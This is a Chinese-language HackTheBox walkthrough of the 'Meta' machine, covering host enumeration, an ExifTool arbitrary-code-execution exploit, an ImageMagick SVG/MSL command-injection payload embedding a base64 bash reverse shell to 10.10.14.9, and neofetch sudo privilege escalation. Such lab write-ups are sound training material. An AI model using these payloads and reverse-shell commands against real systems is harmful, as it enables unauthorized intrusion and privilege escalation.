1 Star 1 Fork 2

wuerror / hackthebox_oscp

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
meta.md 4.14 KB
一键复制 编辑 原始数据 按行查看 历史
wuerror 提交于 2023-02-27 20:31 . finish meta

端口扫描

nmap -p- --min-rate 10000 -v -sV -sC -A -Pn 10.10.11.140

只开放了22,80

80指向artcorp.htb,配进host。

爆破vhost

扫目录没什么结果,从页面信息可知,该公司有一个正在开发中的产品metaview

尝试爆破一下

wfuzz -c -u "http://artcorp.htb/" -H "Host:FUZZ.artcorp.htb" -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt --hc 301

meta1

果然找到测试环境的子站dev01.artcorp.htb。配进host访问之

子站信息收集

页面就是一个上传框,Upload your image to display related metadata。传个大图片直接就报错了。先扫一下看看

dirsearch -u http://dev01.artcorp.htb/metaview/ -e *

meta1

在composer.json中发现exiftoolwrapper

meta1

也就是说主页那个上传获取meta data也是调的exiftool啊,天下代码一大抄:)

exploit-db搜到一个exp

ExifTool 12.23 - Arbitrary Code Execution

python3 50911.py -s 10.10.14.9 4444

生成恶意图片后上传成功得到反弹shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

但目前是www-data权限读取不到flag

meta1

下一步看样子是要获取thomas的权限

pspy发现定时任务

suid无可利用,定时任务、也没在文件里翻到。网站文件里也没有敏感信息

陷入僵局。上传pspy看看

meta1

发现周期性的跑/usr/local/bin/convert_images.sh

#!/bin/bash
cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null
pkill mogrify

mogrify命令引起了我的注意

/local/bin/mogrify -version

meta1

ImageMagick 命令注入

搜索imageMagick相关漏洞,vulhub中就有

cve-2020-29599

把poc.svg文件下载下来,vscode打开就能看见注入点

修改payload为echo 'bash -i >& /dev/tcp/10.10.14.9/1234 0>&1 ' | base64

(不知道为啥直接改成/tmp/rev执行文件不行)

<image authenticate='ff" `echo "YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuOS8xMjM0IDA+JjEgCg==" | base64 -d | bash`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">       
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>

上传poc.svg到/var/www/dev01.artcorp.htb/convert_images/目录,等定时任务触发就行

meta1

成功读取到user flag

.ssh目录下存有私钥,改用ssh登录机器

neofetch sudo提权

sudo -l发现无需密码项

meta1

gtfobins中的利用方法如下

TF=$(mktemp)
echo 'exec /bin/sh' >$TF
sudo neofetch --config $TF

但是我们这里\"\"限制了不能有参数,很自然会想到有没有办法把我们恶意的配置写到默认config文件里,这样就不用在参数里指定了。

echo 'exec /bin/sh' > .config/neofetch/config.conf 

meta1

但是无事发生。。。。

根据0xdf的walkthrough

The neofetch docs have a section on “Config File Location”, which say it’s ${HOME}/.config/neofetch/config.conf. That’s actually slightly misleading. Looking at the source itself, there’s a get_user_config() function that tries to load a config from:

  • a location given with --config
  • ${XDG_CONFIG_HOME}/neofetch/config.conf
  • ${XDG_CONFIG_HOME}/neofetch/config
  • nowhere if $no_config is set

配置文件读取路径其实和环境变量XDG_CONFIG_HOME有关

XDG_CONFIG_HOME=~/.config sudo neofetch

meta1

马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
1
https://gitee.com/wuerror/hackthebox_oscp.git
git@gitee.com:wuerror/hackthebox_oscp.git
wuerror
hackthebox_oscp
hackthebox_oscp
master

搜索帮助